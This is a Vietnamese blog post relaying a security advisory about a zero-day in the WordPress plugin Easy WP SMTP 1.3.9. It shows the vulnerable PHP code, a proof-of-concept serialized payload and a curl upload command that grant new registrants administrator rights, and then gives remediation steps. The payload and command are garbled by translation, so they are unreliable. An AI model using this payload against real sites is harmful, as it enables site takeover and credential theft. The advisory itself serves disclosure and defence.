• Thủ Thuật
    • Tất cả
    • cPanel
    • Direct Admin
    • Domain
    • Linux
    • WordPress

    Bảo mật đăng nhập với xác minh 2 bước

    Hướng dẫn cài đặt mô hình apache + nginx (reverse proxy)

    Hướng dẫn cài đặt mô hình apache + nginx (reverse proxy)

    Hướng dẫn chuyển Mysql sang Mariadb DirectAdmin

    Hướng dẫn chuyển Mysql sang Mariadb DirectAdmin

    Hướng dẫn cài đặt và cấu hình SpamAssassin

    Hướng dẫn cài đặt và cấu hình SpamAssassin

    Hướng dẫn nâng cấp Custombuild và các cấu hình dịch vụ trong Custombuild DirectAdmin

    Hướng dẫn nâng cấp Custombuild và các cấu hình dịch vụ trong Custombuild DirectAdmin

    Hướng dẫn cài đặt OPcache trên Direct Admin

    Hướng dẫn cài đặt OPcache trên Direct Admin

    Tệp tin php.ini nằm ở đâu ?

    Tệp tin php.ini nằm ở đâu ?

    Cách cài đặt Redis và Redis-PHP trong DirectAdmin CentOS

    Cách cài đặt Redis và Redis-PHP trong DirectAdmin CentOS

    Direct Admin là gì?

    Sao lưu toàn bộ dữ liệu với Command line trên Direct Admin

    Trending Tags

    • cPanel : Thêm addon domain trong cPanel
    • Domain : Trỏ tên miền từ Mắt Bão về Hosting
    • duplicator lê xuân hảo
    • WordPress : Lỗ hổng từ Plugins Duplicator – WordPress Migration Plugin
  • Kinh Nghiệm
    • Tất cả
    • Kinh Nghiệm Mua Hosting / VPS / Tên Miền
    • Make Money Online
    Vultr : sử dụng dịch vụ lưu trữ với cách thức tính phí theo giờ

    Đăng ký VPS tại Vultr và truy cập vào VPS

    Địa chỉ nào mua Hosting WordPress tốt để sử dụng tại trong và ngoài nước

    Địa chỉ nào mua Hosting WordPress tốt để sử dụng tại trong và ngoài nước

    Tạo Landing page và tìm kiếm khách hàng mục tiêu

    Tạo Landing page và tìm kiếm khách hàng mục tiêu

    Affiliate Marketing và hiểu rõ hơn về cách thức về luật hưởng hoa hồng

    Affiliate Marketing và hiểu rõ hơn về cách thức về luật hưởng hoa hồng

    AZDIGI : Sự khác nhau nào giữa Turbo Cloud và Hosting Shared thông thường ?

    AZDIGI : Sự khác nhau nào giữa Turbo Cloud và Hosting Shared thông thường ?

    Trending Tags

    • Howto

      [Deep Web] Setup Onion service

      Practice AWS tại localhost

      Practice AWS tại localhost

      Sử dụng API trong Zabbix

      Sử dụng API trong Zabbix

      influxdb-backup-restore

      Influxdb backup restore database

      [Tips OpenVPN Client] Một số kinh nghiệm sử dụng trên Linux

      Hướng dẫn cài đặt OpenVPN trên CentOS 7 từ A-Z

      Hướng dẫn tạo yum proxy

      Trending Tags

      • Series
        • Tất cả
        • Ansible
        • AWS
        • ELK Stack
        [AWS Certificate] Cùng nhau practice 01 – Share AMI cross account để sử dụng cho ASG

        [AWS Certificate] Cùng nhau practice 01 – Share AMI cross account để sử dụng cho ASG

        Practice AWS tại localhost

        Practice AWS tại localhost

        [Ansible] Run playbook không cần public IP và ssh keypair trên EC2 instance AWS

        High Available trong bastion host

        [AWS] High Available cho Bastion Host

        Cloudwatch monitor state instance EC2

        [AWS] Cloudwatch monitor state instance EC2

        Ansible – Playbook Testing

        Variable host trong ansible

        Monitor instance sử dụng Cloudwatch (Full)

        [AWS] Monitor instance sử dụng Cloudwatch (Full)

        Connect instance EC2 voi Session Manager

        [AWS] Connect instance EC2 voi Session Manager

        Ansible – Playbook Testing

        Ansible – Playbook Testing

        Trending Tags

          • Ansible
        • True Story

        Lỗ hổng zero-day nghiêm trọng trong plugin WordPress Easy WP SMTP

        được đăng bởi Trí Trần
        20/03/2019
        trong chuyên mục WordPress
        7
        0
        0
        CHIA SẼ
        621
        LƯỢT XEM
        Chia sẻ lên Facebook

        Nội dung bài viết

        1. Lỗ hổng zero-day nghiêm trọng trong plugin WordPress Easy WP SMTP
        2. Bằng chứng của khái niệm trên
        3. Dấu thời gian
        4. khuyến nghị

        Lỗ hổng zero-day nghiêm trọng trong plugin WordPress Easy WP SMTP

        Plugin Easy WP SMTP phổ biến , với hơn 300.000 cài đặt hoạt động, dễ bị lỗ hổng zero-day nghiêm trọng cho phép người dùng không được xác thực sửa đổi các tùy chọn WordPress hoặc tiêm và thực thi mã trong số các hành động độc hại khác.

        Lỗ hổng, được tìm thấy trong phiên bản v1.3.9, đã bị tin tặc khai thác kể từ ít nhất là ngày 15 tháng 3 và đã bị bắt bởi Tường lửa ứng dụng web cho WordPress, NinjaFirewall (Phiên bản WP) .

        add_action( 'admin_init', array( $this, 'admin_init' ) );
        ...
        ...
        function admin_init() {
        	if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
        		 add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );
        		 add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) );
        	}
        
        	//view log file
        	if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {
        	    if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {
        		$log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];
        		if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {
        		    if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {
        			wp_die( 'Can\'t write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );
        		    };
        		}
        		$logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );
        		if ( ! $logfile ) {
        		    wp_die( 'Can\'t open log file.' );
        		}
        		header( 'Content-Type: text/plain' );
        		fpassthru( $logfile );
        		die;
        	    }
        	}
        
        	//check if this is export settings request
        	$is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT );
        	if ( $is_export_settings ) {
        	    $data					 = array();
        	    $opts					 = get_option( 'swpsmtp_options', array() );
        	    $data[ 'swpsmtp_options' ]		 = $opts;
        	    $swpsmtp_pass_encrypted			 = get_option( 'swpsmtp_pass_encrypted', false );
        	    $data[ 'swpsmtp_pass_encrypted' ]	 = $swpsmtp_pass_encrypted;
        	    if ( $swpsmtp_pass_encrypted ) {
        		$swpsmtp_enc_key		 = get_option( 'swpsmtp_enc_key', false );
        		$data[ 'swpsmtp_enc_key' ]	 = $swpsmtp_enc_key;
        	    }
        	    $smtp_test_mail			 = get_option( 'smtp_test_mail', array() );
        	    $data[ 'smtp_test_mail' ]	 = $smtp_test_mail;
        	    $out				 = array();
        	    $out[ 'data' ]			 = serialize( $data );
        	    $out[ 'ver' ]			 = 1;
        	    $out[ 'checksum' ]		 = md5( $out[ 'data' ] );
        
        	    $filename = 'easy_wp_smtp_settings.txt';
        	    header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
        	    header( 'Content-Type: text/plain' );
        	    echo serialize( $out );
        	    exit;
        	}
        
        	$is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
        	if ( $is_import_settings ) {
        		 $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
        		 if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
        			echo $err_msg;
        			wp_die();
        		}
        		$in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
        		try {
        			$in = unserialize( $in_raw );
        			if ( empty( $in[ 'data' ] ) ) {
        				 echo $err_msg;
        				 wp_die();
        			}
        			if ( empty( $in[ 'checksum' ] ) ) {
        				 echo $err_msg;
        				 wp_die();
        			}
        			if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
        				 echo $err_msg;
        				 wp_die();
        			}
        			$data = unserialize( $in[ 'data' ] );
        			foreach ( $data as $key => $value ) {
        				 update_option( $key, $value );
        			}
        			set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
        			$url = admin_url() . 'options-general.php?page=swpsmtp_settings';
        			wp_safe_redirect( $url );
        			exit;
        		} catch ( Exception $ex ) {
        			echo $err_msg;
        			wp_die();
        		}
        	}
        }

        Hàm trên admin_init(), từ easy-wp-smtp.phptập lệnh, được chạy qua admin_inithook khi người dùng truy cập vào khu vực quản trị. Nó được sử dụng để xem / xóa nhật ký, nhập / xuất cấu hình plugin và cập nhật các tùy chọn trong cơ sở dữ liệu WordPress. Nó không kiểm tra khả năng của người dùng, do đó bất kỳ người dùng nào đã đăng nhập, như người đăng ký, đều có thể kích hoạt nó. Tuy nhiên nó cũng có thể được thực thi bởi người dùng chưa được xác thực, bởi vì Plugin Easy WP SMTP sử dụng AJAX và admin_inithook cũng chạy trên admin-ajax.php như được chỉ ra trong tài liệu API WordPress:

        “Lưu ý, điều này không chỉ chạy trên màn hình quản trị người dùng. Nó cũng chạy trên admin-ajax.php và admin-post.php.”

        Do đó, người dùng không được xác thực có thể gửi yêu cầu AJAX, ví dụ action=swpsmtp_clear_log, để kích hoạt chức năng trên và thực thi mã của nó.

        Bằng chứng của khái niệm trên

        Trong bằng chứng khái niệm sau đây, mình sẽ sử dụng swpsmtp_import_settingsđể tải lên một tệp sẽ chứa một payload nối tiếp độc hại sẽ cho phép người dùng đăng ký ( users_can_register) và đặt vai trò mặc định của người dùng ( default_role) cho quản trị viên của người dùng trong cơ sở dữ liệu.

        1. Tạo một tên tập tin / tmp / upload.txt và thêm nội dung này vào đó:

        a: 2: {s: 4: "data"; s: 81: "a: 2: {s: 18:" users_can_register "; s: 1:" 1 "; s: 12:" default_role "; s: 13 : "admin";} "; s: 8:" checksum "; s: 32:" 3ce5fb6d7b1dbd6252f4b5b3526650c8 ";}

        2. Tải tệp lên:

        $ curl https://fornewbie.net/wp-admin/admin-ajax.php -F 'action = swpsmtp_clear_log' -F 'swpsmtp_import_sinstall = 1' -F 'swpsmtp_import_sinstall_file=@tup

        Các lỗ hổng khác có thể bị khai thác như:

        • Thực thi mã từ xa thông qua PHP Object Injection vì với Easy WP SMTP sử dụng các unserialize()cách gọi không an toàn .
        • Xem / xóa nhật ký (hoặc bất kỳ tệp nào, vì tin tặc có thể thay đổi tên tệp nhật ký).
        • Xuất cấu hình plugin bao gồm máy chủ SMTP, tên người dùng và mật khẩu và sử dụng nó để gửi email spam.

        Điều thú vị là tất cả các nỗ lực bị bắt bởi tường lửa cho thấy tin tặc đã cố gắng khai thác lỗ hổng để thay đổi nội dung của wp_user_rolestùy chọn WordPress trong cơ sở dữ liệu và cung cấp khả năng quản trị viên cho tất cả người dùng. Không giống như tạo tài khoản quản trị viên, có thể dễ dàng phát hiện trong phần Người dùng WordPress, việc thay đổi khả năng hầu như không đáng chú ý, tức là, một người dùng đơn giản sẽ tiếp tục xuất hiện dưới dạng người dùng đơn giản nhưng sẽ có thể làm mọi thứ mà quản trị viên có thể làm. ( Có thể hiểu như bạn không phải vua nhưng làm được mọi thứ mà vua làm, việc chèn các Script hay thao tác vấn đề về việc leo thang vai trò người dùng, hoặc thậm chí là vô hiệu hóa user ADMIN là điều hoàn toàn đơn giản. )

        Dấu thời gian

        Một phiên bản mới 1.3.9.1 đã được phát hành vào ngày 17 tháng 3. Đã sửa lỗi dễ bị tấn công trong cài đặt nhập \ xuất  được phát hành và bạn có thể tải cũng như cập nhật mới.

        khuyến nghị

        Cập nhật càng sớm càng tốt nếu bạn vẫn đang chạy phiên bản 1.3.9 thì có thể cập nhật mới => Tại Đây

        Nếu bạn đang sử dụng tường lửa ứng dụng web cho WordPress, NinjaFirewall WP Edition (miễn phí) và NinjaFirewall WP + Edition (cao cấp), bạn sẽ được bảo vệ chống lại lỗ hổng này.

        Nếu bạn đang sử dụng phiên bản dễ bị xâm hại của Easy WP SMTP, đây là một số đề xuất bổ sung (danh sách có thể không đầy đủ với kiến thức hạn hẹp ):

        • Kiểm tra Cài đặt WordPress của bạn > Trang General : Đảm bảo không có gì bị giả mạo (URL, Địa chỉ email, Tư cách thành viên và Vai trò mặc định của người dùng mới).
        • Kiểm tra trang WordPress của người dùng WordPress của bạn: Tìm kiếm người dùng mới, tài khoản quản trị lạ, kiểm tra địa chỉ email quản trị viên, v.v.
        • Thay đổi tất cả mật khẩu.
        • Kiểm tra bảng WordPress wp_options* của bạn trong cơ sở dữ liệu.: Đảm bảo wp_user_roles* , chứa các vai trò và khả năng của người dùng, đã không bị giả mạo. Bạn cũng có thể sử dụng NinjaScanner miễn phí của chúng tôi cho WordPress .
        • Quét các tập tin của bạn quá, tin tặc có thể đã tải lên backreen.
        • Thay đổi mật khẩu SMTP của bạn, tin tặc có thể đã đánh cắp nó.

        Nếu bạn đã thay đổi tiền tố cơ sở dữ liệu WordPress của mình, hãy thay thế wp_bằng tiền tố chính xác. Have fun 🙂

        The content of : NinjaFirewall WP Edition ©

        Thẻ : Lỗ hổng zero-day nghiêm trọng trong plugin WordPress Easy WP SMTP

        Liên quan Bài đăng

        Quản lý và thao tác website của bạn ngay trên ứng dụng WordPress !
        WordPress

        Quản lý và thao tác website của bạn ngay trên ứng dụng WordPress !

        05/08/2019
        293
        TinoHost dịch vụ Cloud Hosting và Cloud VPS chất lượng cao tại Việt Nam
        WordPress

        Tối ưu điểm Page Speed Insight miễn phí ? – Tại sao không !

        01/10/2019
        1.3k
        Khắc phục nhanh lỗi chuyển hướng website do Plugin Live Chat with Facebook Messenger
        WordPress

        Khắc phục nhanh lỗi chuyển hướng website do Plugin Live Chat with Facebook Messenger

        20/05/2019
        592
        Lấy lại mật khẩu Website WordPress thông qua PhpMyAdmin
        WordPress

        Lấy lại mật khẩu Website WordPress thông qua PhpMyAdmin

        09/04/2019
        328
        Cài đặt SSMTP cho VPS để thực hiện gửi mail mặc định
        WordPress

        Khắc phục Tấn công bằng từ khóa tiếng Nhật

        29/03/2019
        337
        Lỗ hổng tồn tại trong các phiên bản WordPress trước 5.1.1
        WordPress

        Lỗ hổng tồn tại trong các phiên bản WordPress trước 5.1.1

        20/03/2019
        1k
        Xem thêm
        Bài tiếp theo
        Cài đặt SSMTP cho VPS để thực hiện gửi mail mặc định

        Cài đặt SSMTP cho VPS để thực hiện gửi mail mặc định

        Cài đặt SSMTP cho VPS để thực hiện gửi mail mặc định

        Khắc phục Tấn công bằng từ khóa tiếng Nhật

        Lấy lại mật khẩu Website WordPress thông qua PhpMyAdmin

        Lấy lại mật khẩu Website WordPress thông qua PhpMyAdmin

        Tổng quan về cPanel / WHM

        Tổng quan về cPanel / WHM

        Để lại bình luận

        Nội dung bài viết

        1. Lỗ hổng zero-day nghiêm trọng trong plugin WordPress Easy WP SMTP
        2. Bằng chứng của khái niệm trên
        3. Dấu thời gian
        4. khuyến nghị

        © 2019 – Syslife Blog – All Right Reserved Powered by tritran

        Recent Posts

        • [Deep Web] Setup Onion service 07/07/2024
        • [AWS Certificate] Cùng nhau practice 01 – Share AMI cross account để sử dụng cho ASG 06/01/2024
        • Practice AWS tại localhost 30/09/2023
        • Enject secrets đến pods sử dụng Vault agent 22/08/2023
        • [Ansible] Run playbook không cần public IP và ssh keypair trên EC2 instance AWS 15/06/2023

        Follow me

        Facebook LinkedIn Github Instagram

        Thông tin về Site

        Blog cá nhân đơn thuần chia sẽ kiến thức trong lĩnh vực cài đặt, quản trị và vận hành hệ thống. Mình rất vui nếu mọi người có góp ý nào khác, hãy contact mình qua email [email protected] nhé.

        Cám ơn các bạn đã ghé thăm trang web!!!

        Những người bạn

        https://jobsvina.com/

        • Thủ Thuật
        • Kinh Nghiệm
        • Howto
        • Series
          • Ansible
        • True Story

        © 2019 - Syslife Blog - All Right Reserved Powered by tritran

        Đăng nhập vào tài khoản của bạn bên dưới

        Đã quên mật khẩu?

        Điền vào các mẫu dưới đây để đăng ký

        Tất cả các trường đều được yêu cầu. Đăng nhập

        Truy xuất mật khẩu của bạn

        Vui lòng nhập tên người dùng hoặc địa chỉ email của bạn để đặt lại mật khẩu của bạn.

        Đăng nhập